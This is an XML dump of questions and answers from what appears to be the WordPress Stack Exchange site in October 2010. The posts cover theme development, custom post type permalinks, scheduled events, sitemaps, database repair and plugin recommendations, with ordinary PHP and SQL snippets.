  <row Id="3145" PostTypeId="2" ParentId="3139" CreationDate="2010-10-21T18:14:18.633" Score="0" ViewCount="" Body="&lt;p&gt;Not the best solution for this case, but you can use it for now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $cat = get_category(YOUR_CATEGORY_ID, 'ARRAY_A'); ?&amp;gt;&#xA;&amp;lt;?php echo $cat['description']; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps. I am seeking a better solution. ;)&lt;/p&gt;&#xA;" OwnerUserId="444" LastActivityDate="2010-10-21T18:14:18.633" CommentCount="1" />
  <row Id="3146" PostTypeId="1" AcceptedAnswerId="3150" CreationDate="2010-10-21T19:41:00.260" Score="1" ViewCount="66" Body="&lt;p&gt;I've read a few books on building WP themes and I certainly understand the basics. I would like to know read up on advanced topics like hooks, wp_rewrite and how functions.php should be structured. Can anyone recommend any good resources?&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2010-10-21T20:23:16.070" Title="Advanced theme training?" Tags="&lt;theme-development&gt;&lt;books&gt;" AnswerCount="1" />
  <row Id="3147" PostTypeId="1" AcceptedAnswerId="3186" CreationDate="2010-10-21T19:50:03.290" Score="1" ViewCount="64" Body="&lt;p&gt;Currently I have a small amount of 100 categories and my MENU goes crazy big and I would like to be able to do 2 things if possible:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First category menu with limited amount categories sorted by hits&lt;/li&gt;&#xA;&lt;li&gt;Second category menu with limited amount of categories choose by myself&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there any simple way to acomplish this either manually editing part of the code but yet allowing me to render the category by the wordpress code instead of having to type each by hand or a plugin with already such features ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I was trying to use the search for this but even using &quot;Category Menu too big&quot; there were so many unrelated answer that it was hard to find anything good to my case.&lt;/p&gt;&#xA;" OwnerUserId="1332" LastActivityDate="2010-10-22T10:05:26.850" Title="My Category is too big on the Menu what can i do?" Tags="&lt;plugins&gt;&lt;multisite&gt;&lt;3.0.1&gt;&lt;categories&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="3148" PostTypeId="1" CreationDate="2010-10-21T20:05:22.743" Score="0" ViewCount="130" Body="&lt;p&gt;What's the best photoblog theme or plugin and why?  I've used the YAPB plugin before, but it hasn't been updated in ages and doesn't work with WordPress 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Galleries (preferrably JavaScript, not Flash - although I'm prepared to compromise)&lt;/li&gt;&#xA;&lt;li&gt;EXIF data support&lt;/li&gt;&#xA;&lt;li&gt;Good admin area for uploading&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Feel free to add more features that should be in a photoblog.&lt;/p&gt;&#xA;" OwnerUserId="106" LastEditorUserId="106" LastEditorDisplayName="" LastEditDate="2010-10-22T14:28:01.953" LastActivityDate="2010-10-22T14:28:01.953" Title="Best photoblog theme/plugin?" Tags="&lt;plugins&gt;&lt;themes&gt;&lt;images&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="3149" PostTypeId="2" ParentId="3104" CreationDate="2010-10-21T20:07:53.733" Score="0" ViewCount="" Body="&lt;p&gt;Don't know offhand if there's a plugin already to do this, but if you were to go about programming it yourself, here's some pointers to get you started:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Media file upload is pretty simple... You can take advantage of a lot of the well-documented and commented functions defined for the admin media manager in &lt;code&gt;wp-admin/includes/image.php&lt;/code&gt;, &lt;code&gt;wp-admin/includes/file.php&lt;/code&gt;, and &lt;code&gt;wp-admin/includes/media.php&lt;/code&gt;. I wrote a rough tutotial on how to implement this: &lt;a href=&quot;http://goldenapplesdesign.com/2010/07/03/front-end-file-uploads-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://goldenapplesdesign.com/2010/07/03/front-end-file-uploads-in-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can predefine the sizes you want using &lt;code&gt;add_image_size()&lt;/code&gt; calls in your functions.php file. See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_image_size&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/add_image_size&lt;/a&gt; for add_image_size reference and &lt;a href=&quot;http://markjaquith.wordpress.com/2009/12/23/new-in-wordpress-2-9-post-thumbnail-images/&quot; rel=&quot;nofollow&quot;&gt;http://markjaquith.wordpress.com/2009/12/23/new-in-wordpress-2-9-post-thumbnail-images/&lt;/a&gt; for a great tutorial on using post thumbnail images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are lots of possible ways to structure your data, but the way to use the most of WP's API features is to have your users screenshots defined as a custom post type with a featured image attached to it, which is set as a draft when uploaded, and updated to published on approval.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would need one custom page template to handle the file upload, and one to display the screenshots, and a couple helper functions to register the post type and enable the UI on the admin side to manage the uploads.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-10-21T20:07:53.733" CommentCount="1" />
  <row Id="3150" PostTypeId="2" ParentId="3146" CreationDate="2010-10-21T20:23:16.070" Score="1" ViewCount="" Body="&lt;p&gt;The best resources available are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://codex.wordpress.org/Theme_Development&quot; rel=&quot;nofollow&quot;&gt;The Codex&lt;/a&gt;&lt;/strong&gt; - Most of the functions and tools you'll want to use are documented there, as well as examples and code snippets that you can use in your own system.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://phpxref.ftwr.co.uk/wordpress/nav.html?index.html&quot; rel=&quot;nofollow&quot;&gt;PHPXref&lt;/a&gt;&lt;/strong&gt; - There are a lot of different systems out there, I just linked to the first one I found.  But remember that the in-line documentation for WordPress is pretty much amazing and, in many cases, will be all you'll ever need.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://justintadlock.com/&quot; rel=&quot;nofollow&quot;&gt;Justin Tadlock's Blog&lt;/a&gt;&lt;/strong&gt; - During the theme development presentation at WordCamp Portland, the presenter actually said his first step to learning a new technique or using a new tool was to see if Justin had written a tutorial on it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Beyond those three references, I would also recommend that you take a very close look at the structure and composition of the TwentyTen theme that ships with WordPress.  It's written by the same team who writes core, so it's your best bet for a &quot;definitive&quot; example of most things WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also suggest you invest in one of the nicer theme frameworks available - my personal recommendation would be &lt;a href=&quot;http://www.studiopress.com/themes/genesis&quot; rel=&quot;nofollow&quot;&gt;Genesis&lt;/a&gt;.  If you're using a framework for building your theme, most of the work is done for you.  You'll also have more tools at your disposal, and some of the frameworks are &lt;em&gt;incredibly&lt;/em&gt; advanced in their design.  Looking at how someone has already done something and deciding how you'd improve on it can be one of the easiest ways to learn.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-21T20:23:16.070" />
  <row Id="3151" PostTypeId="1" AcceptedAnswerId="3153" CreationDate="2010-10-21T20:23:16.833" Score="1" ViewCount="108" Body="&lt;p&gt;I'm trying to build a new WordPress theme using register_post_type to create a custom post type called listings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like each listing to have the following permalink structure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mysite.com/%author%/listing-title&quot; rel=&quot;nofollow&quot;&gt;http://www.mysite.com/%author%/listing-title&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not quite sure how to achieve this with the CPT controls listed in the Codex. Previously, I have a achieved a similar effect by creating a custom structure in Permalink Settings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/%author%/%postname%/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It has been &lt;a href=&quot;http://stackoverflow.com/questions/3980737/in-wordpress-how-do-you-create-a-custom-post-type-with-the-authors-name-in-the-s&quot;&gt;suggested on the main forum&lt;/a&gt; that I use wp_rewrite, but wp_rewrite only seems to deal with incoming requests and does not change the way CPT posts are created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To illustrate further with an image, I want to change the /listings/ part of the permalink URL to the post author's name. See image below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/KPI3a.gif&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2010-10-21T21:02:32.543" Title="In WordPress how do you create a custom post type with the author's name in the slug?" Tags="&lt;custom-post-types&gt;&lt;theme-development&gt;&lt;url-rewriting&gt;" AnswerCount="1" />
  <row Id="3152" PostTypeId="1" AcceptedAnswerId="3158" CreationDate="2010-10-21T20:24:04.740" Score="1" ViewCount="130" Body="&lt;p&gt;I'm trying to set up individual, one-time schedule events in a plugin. No matter what I do, I can't seem to get the events to fire. I'm using the Cron View &lt;a href=&quot;http://wordpress.org/extend/plugins/cron-view/&quot; rel=&quot;nofollow&quot;&gt;plugin&lt;/a&gt; to see what's in queue, and the events are added and remove themselves totally on schedule. I never, however, receive the email I've set to send in the action's target function (simply in order to test the event, there will be more in there later). I have tested the function outside of scheduled events, it does work. Here's some code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GLOBAL $new_workshop_id;&#xA;$new_workshop_id = $wpdb-&amp;gt;insert_id;&#xA;&#xA;function send_reminders() {&#xA; GLOBAL $new_workshop_id;&#xA; wp_mail('my@emailaddress.tld', 'Automatic ID: '.$new_workshop_id, 'here it is!');&#xA;}&#xA;&#xA;if (!wp_next_scheduled('send_reminder_emails_'.$new_workshop_id)) {&#xA; wp_schedule_single_event( time()+30, 'send_reminder_emails_'.$new_workshop_id );&#xA;}&#xA;&#xA;do_action( 'send_reminder_emails_'.$new_workshop_id );&#xA;add_action( 'send_reminder_emails_'.$new_workshop_id, 'send_reminders' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One thing I'm suspicious is the placement of do_acton and the function itself, &lt;code&gt;send_reminders()&lt;/code&gt;. The above code is within some if statements checking for POST vars, so it's possible that the function can't be accessed by the CRON job - so where should I put the function? I've tried right at the top of the plugin file. From what I've read, do_action should call the function and execute it wherever you have put do_action, but I guess I need to know where to put &lt;code&gt;send_reminders()&lt;/code&gt; in the first place so that it's accessible, by either the cron job or do_action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any input!&lt;/p&gt;&#xA;" OwnerUserId="1099" LastEditorUserId="1099" LastEditorDisplayName="" LastEditDate="2010-10-21T20:32:19.790" LastActivityDate="2010-10-21T22:01:31.013" Title="Scheduled event won't fire" Tags="&lt;actions&gt;" AnswerCount="1" />
  <row Id="3153" PostTypeId="2" ParentId="3151" CreationDate="2010-10-21T21:02:32.543" Score="3" ViewCount="" Body="&lt;p&gt;My plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-permalinks/&quot; rel=&quot;nofollow&quot;&gt;Custom Post Permalinks&lt;/a&gt; allows you to set permalink structures for custom post types and it supports post authors as part of a permastruct. However, while my plugin will enable you to set up that structure, I don't suggest using that structure. That structure will essentially make WordPress interpret all top-level pages as 404 errors (and second level pages, I think). You should be fine if you add the post type to anchor the beginning of the structure like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/%post_type%/%author%/%postname%/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-10-21T21:02:32.543" CommentCount="3" />
  <row Id="3154" PostTypeId="2" ParentId="3143" CreationDate="2010-10-21T21:08:25.703" Score="2" ViewCount="" Body="&lt;p&gt;You need to check for the presence of &lt;code&gt;'post_type'&lt;/code&gt; as an index of &lt;code&gt;$_GET&lt;/code&gt; before using it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ((isset($_GET['post_type']) &amp;amp;&amp;amp; $_GET['post_type'] == 'slide') || (isset($post_type) &amp;amp;&amp;amp; $post_type == 'slide')) :&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, you should be using the &lt;code&gt;wp_enqueue_style&lt;/code&gt; function instead of echoing your stylesheet at &lt;code&gt;'admin_head'&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_style( 'meteor-slides-admin', plugins_url('/css/meteor-slides-admin.css', __FILE__), array(), '1.0' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_style/&quot; rel=&quot;nofollow&quot;&gt;More information on wp_enqueue_style here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-10-21T21:08:25.703" CommentCount="4" />
  <row Id="3155" PostTypeId="1" AcceptedAnswerId="3176" CreationDate="2010-10-21T21:09:28.470" Score="0" ViewCount="154" Body="&lt;p&gt;A client of mine has a VERY, VERY, VERY large WordPress site (over 1 million pages). Is there a sitemap plugin that can handle this (would need to create sitemap indexes)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their site have very shallow crawldepth, so they figure a sitemap would help a lot.&lt;/p&gt;&#xA;" OwnerUserId="474" LastActivityDate="2010-10-22T05:30:26.047" Title="Best Sitemap Plugin for 1M+ pages" Tags="&lt;plugins&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="3156" PostTypeId="1" AcceptedAnswerId="3163" CreationDate="2010-10-21T21:32:48.477" Score="1" ViewCount="51" Body="&lt;p&gt;I would like to alter the default categories widget code so that it does not show any categories which are children of the uncategorized (id=1) category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I do this via my sidebar.php or functions.php code?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-10-22T05:37:21.387" Title="How can I alter the display of category listings via sidebar.php?" Tags="&lt;theme-development&gt;" AnswerCount="2" />
  <row Id="3157" PostTypeId="2" ParentId="3155" CreationDate="2010-10-21T21:41:19.593" Score="0" ViewCount="" Body="&lt;p&gt;I wouldn't have one sitemap with a million pages in it. I would customize the XML Sitemap plugin, and build a sitemap index. &lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2010-10-21T21:41:19.593" />
  <row Id="3158" PostTypeId="2" ParentId="3152" CreationDate="2010-10-21T22:01:31.013" Score="1" ViewCount="" Body="&lt;p&gt;The cron arg usage looks weird. The insert id will return garbage by the time your function is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the same token, I believe better schedule it always, with the id argument, on insert, if this if for logging. Else you'll be throttling your logs, basically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, are you sure that wp_mail() is working?&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-21T22:01:31.013" CommentCount="12" />
  <row Id="3159" PostTypeId="1" CreationDate="2010-10-21T22:06:25.887" Score="4" ViewCount="626" Body="&lt;p&gt;&lt;strong&gt;I want to create a website for my T-Shirt business&lt;/strong&gt;. I've tried osCommerce and it's ok for a basic setup but even something simple as installing an addon for SEO turns into a nightmare of database editing and modifying php files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used WordPress before and it's an absolute dream to setup and customise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the requirements that my shop would need:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Multiple attibutes&lt;/strong&gt; - e.g. customer should be able to choose things like size, color, garment type etc. Also I need the option of an attibute to be able to change the price. E.g. If I have a base price of $11.99 and the cutomer selects &quot;Kids small&quot; for size then I want to deduct $3 from the base price.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Display multiple pictures&lt;/strong&gt; depending on what I choose. E.g. if I choose a woman's tee from the garment type then the picture should update to display the design on a woman's tee.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Bulk import/export&lt;/strong&gt; - I need to be able to mass import or export products, attributes etc. via something like CSV or Excel.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Reporting tools would be nice&lt;/strong&gt;, so I can see my shops performance at a glance.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I know there are several eCommmerce plugins out there but do any of them do the things I've listed above?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1346" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-21T23:45:39.513" LastActivityDate="2011-02-23T03:57:58.153" Title="Recommended eCommerce Plugin for a T-Shirt Sales Business?" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;e-commerce&gt;" AnswerCount="5" FavoriteCount="5" />
  <row Id="3160" PostTypeId="1" AcceptedAnswerId="3162" CreationDate="2010-10-21T22:10:55.107" Score="2" ViewCount="142" Body="&lt;p&gt;The weirdest Wordpress problem ever I think. A clients site with a large database of posts has got a mind of it's own. One minute everything seems fine, the next posts, categories and tags are missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the minute the dashboard is telling me there's 2309 posts in 9 categories but when I click the categories link in admin there's none in the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see all posts in admin but whereas they used to be assigned to categories and have tags listed, they're all now &quot;Uncategorized&quot; with &quot;No Tags&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously the wordpress database is corrupt in some way but where to start to try fix it!?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I've tested so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugins – I turned off all current plugins.&#xA;Theme – I tried a different theme/template.&#xA;Wordpress Core – I re-uploaded the latest wordpress version.&#xA;Updates – I updated all plugins and wordpress core.&#xA;Repair Database - I checked and tried to repair the database in Cpanel but it timed out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help!?&lt;/p&gt;&#xA;" OwnerUserId="641" LastActivityDate="2010-10-21T22:23:07.447" Title="Corrupt Wordpress Database" Tags="&lt;database&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="3161" PostTypeId="2" ParentId="3155" CreationDate="2010-10-21T22:15:41.567" Score="0" ViewCount="" Body="&lt;p&gt;Please note that, by the time you've 1M pages on a site, Google should be crawling your site on a very regular basis unless you're a spammer or delivering content of extremely low quality. (You meaning your customer, obviously.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This in itself should solve any indexing issue, no matter what your crawl depth might be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for sitemaps, check out Arnold's (the most popular one). It probably allows to split large maps in multiple files.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-21T22:15:41.567" />
  <row Id="3162" PostTypeId="2" ParentId="3160" CreationDate="2010-10-21T22:23:07.447" Score="4" ViewCount="" Body="&lt;p&gt;You're probably running into the joys of MySQL's MyISAM engine...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From within MySQL (or PhpMyAdmin), use REPAIR TABLE xyz statements again, repeatedly, on each of your tables (or rather, your terms related tables, since these are the ones that sound corrupt) to see if this solves anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If those fail, there are a few documented workarounds:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.google.com/search?q=recover+a+corrupt+mysql+database&quot; rel=&quot;nofollow&quot;&gt;http://www.google.com/search?q=recover+a+corrupt+mysql+database&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once things are recovered, run OPTIMIZE TABLE xyz statements on each table, and then alter the engine of the database and each table to make it use InnoDB. InnoDB clutters the catalog somewhat (especially if you drop a database or large tables), but -- being ACID compliant -- it's a hell of a lot less error prone than MyISAM.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-21T22:23:07.447" CommentCount="3" />
  <row Id="3163" PostTypeId="2" ParentId="3156" CreationDate="2010-10-21T22:30:31.457" Score="1" ViewCount="" Body="&lt;p&gt;If memory serves, there's an exclude argument, which isn't available in the widget but which should be around for the category list template tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_categories&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Tags/wp_list_categories&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should hide subcategories if you're listing them hierarchically.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-21T22:30:31.457" />
  <row Id="3164" PostTypeId="2" ParentId="3148" CreationDate="2010-10-21T22:35:44.403" Score="0" ViewCount="" Body="&lt;p&gt;Doesn't WP3 allow to use Flickr with oEmbed?&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-21T22:35:44.403" />
  <row Id="3165" PostTypeId="2" ParentId="3147" CreationDate="2010-10-21T23:11:09.400" Score="1" ViewCount="" Body="&lt;p&gt;This...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First category menu with limited amount categories sorted by hits&lt;/li&gt;&#xA;&lt;li&gt;Second category menu with limited amount of categories choose by myself&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;... is, I believe, impossible using the menu API.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-21T23:11:09.400" />
  <row Id="3166" PostTypeId="1" CreationDate="2010-10-21T23:38:29.713" Score="1" ViewCount="277" Body="&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderator's note:&lt;/strong&gt; The original title was &quot;The count of my custom taxonomy is incorrect; it's counting revisions&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anybody run into this before? I've added two custom taxonomies, and the &lt;code&gt;count&lt;/code&gt; column of the &lt;code&gt;wp_term_taxonomy&lt;/code&gt; table is being set incorrectly. It appears to be counting revisions in addition to the published post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've poked around in the WordPress core but that's a huge beast and I honestly barely know where to start looking for what updates the &lt;code&gt;count&lt;/code&gt; for that table.&lt;/p&gt;&#xA;" OwnerUserId="3831" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-22T00:21:45.447" LastActivityDate="2010-10-29T18:47:53.803" Title="Custom Taxonomies Incorrectly Counting Revisions?" Tags="&lt;posts&gt;&lt;custom-taxonomy&gt;&lt;database&gt;" AnswerCount="2" />
  <row Id="3167" PostTypeId="2" ParentId="3091" CreationDate="2010-10-21T23:49:02.003" Score="0" ViewCount="" Body="&lt;p&gt;It's not quite what you're looking for, but I use Shaun Inman's Lessn as my shortener, and on the WordPress side, I use the WP Lessn plugin to automatically generate the short links. Works like a charm, and Lessn is super simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't let you specify custom strings, nor can you manage these links from WP, but it's pretty much set &amp;amp; forget. Feel free to take a look at &lt;a href=&quot;http://www.jeffbyrnes.net/2010/10/01/better-javascript-docs-pass-it-on/&quot; rel=&quot;nofollow&quot;&gt;one of my posts&lt;/a&gt; on my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And sorry, I would have linked to everything, but as a new user, I can only post one link. Since Lessn &amp;amp; WP-Lessn are easy to find, I figured the example would be best.&lt;/p&gt;&#xA;" OwnerUserId="3831" LastActivityDate="2010-10-21T23:49:02.003" />
  <row Id="3168" PostTypeId="2" ParentId="3166" CreationDate="2010-10-22T00:18:41.503" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@berkleebassist&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's hard to verify your issue without admin access to your site and your database but I can give you some direction that might help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two functions in &lt;code&gt;/wp-includes/taxonomy.php&lt;/code&gt; that update taxonomy term count: &lt;code&gt;wp_update_term_count_now()&lt;/code&gt; and &lt;code&gt;_update_post_term_count()&lt;/code&gt;. They are located (in WordPress v3.0.1) at line 2454 and line 2049, respectively. Both of them call an action hook &lt;code&gt;'edited_term_taxonomy'&lt;/code&gt; just after they have updated the count. Both functions send the same two parameters a  &lt;code&gt;$term&lt;/code&gt; and a &lt;code&gt;$taxonomy&lt;/code&gt; so you can treat this as just one hook to program. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a shell of a function you can copy to your theme's &lt;code&gt;functions.php&lt;/code&gt; file to update the count, just add the SQL that UPDATEs the count how you want it to be updated: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('edited_term_taxonomy','yoursite_edited_term_taxonomy',10,2);&#xA;function yoursite_edited_term_taxonomy($term,$taxonomy) {&#xA;  global $wpdb;&#xA;  $sql = &quot;...set this to UPDATE taxonomy term count how you want...&quot;;&#xA;  $wpdb-&amp;gt;query($sql);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know if you need more specific direction about writing the SQL command. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, here's a trac ticket that discusses something similar; it may be related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/14076&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Misleading post count on taxonomy screen&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-22T00:18:41.503" CommentCount="2" />
  <row Id="3169" PostTypeId="2" ParentId="3148" CreationDate="2010-10-22T00:22:29.843" Score="1" ViewCount="" Body="&lt;p&gt;check this giveaway from &quot;all day i dream about photography&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The theme is DeepFocus from the makers of ElegantThemes.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.adidap.com/2010/10/21/wordpress-premium-theme-giveaway-from-elegant-themes/&quot; rel=&quot;nofollow&quot;&gt;http://www.adidap.com/2010/10/21/wordpress-premium-theme-giveaway-from-elegant-themes/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMHO, it is pretty neat - if you don't win, you can always buy it (:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as for galleries, i find FLAGallery to be the best&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-10-22T00:22:29.843" />
  <row Id="3170" PostTypeId="1" AcceptedAnswerId="3172" CreationDate="2010-10-22T01:14:49.057" Score="0" ViewCount="318" Body="&lt;p&gt;So, for the thousands using WP as CMS, a typical approach is that of using the 'A Static Page' option from the Settings &gt; Reading admin page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm in a different scenario: our front page is displaying static content (&lt;em&gt;home.php&lt;/em&gt; template drives that), and we have a secondary static page (called &lt;em&gt;News&lt;/em&gt;) which should display the list of most recent posts (what you usually find on an average blog's front page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set up the News page to use a custom template (&lt;em&gt;page-NewsIndex.php&lt;/em&gt;); based on TwentyTen's archive.php template, this file displays a header, calls rewind_posts() and then calls get_template_part('loop', 'newsindex') so that we end up in loop.php (or loop-newsindex.php, if it exists). Peachy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Loop.php&lt;/em&gt; has your typical loop structure (again, based on TwentyTen's loop.php template - tweaked to simplify since we don't need 3 type of loops):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when we access the page, this loop seems to use the current URL to determine the posts to display, as if the News page was defining a category - which is not the case for us.&#xA;What would be the appropriate query_posts for me to use to simulate the query_posts that WP usually runs for you when you get to the front-page of a typical blog?&lt;/p&gt;&#xA;" OwnerUserId="456" LastActivityDate="2011-02-01T17:36:53.283" Title="How to get the list of posts in a static page other than front page?" Tags="&lt;page&gt;&lt;query-posts&gt;&lt;the-loop&gt;&lt;blog-page&gt;" AnswerCount="3" />
  <row Id="3171" PostTypeId="2" ParentId="3139" CreationDate="2010-10-22T01:55:05.463" Score="2" ViewCount="" Body="&lt;p&gt;use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_term_field( $field, $term, $taxonomy, $context = 'display' )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_term_field('description', 3, 'link_category')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the bookmarks widget, isn't there an option to show them automatically?&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-22T01:55:05.463" CommentCount="2" />
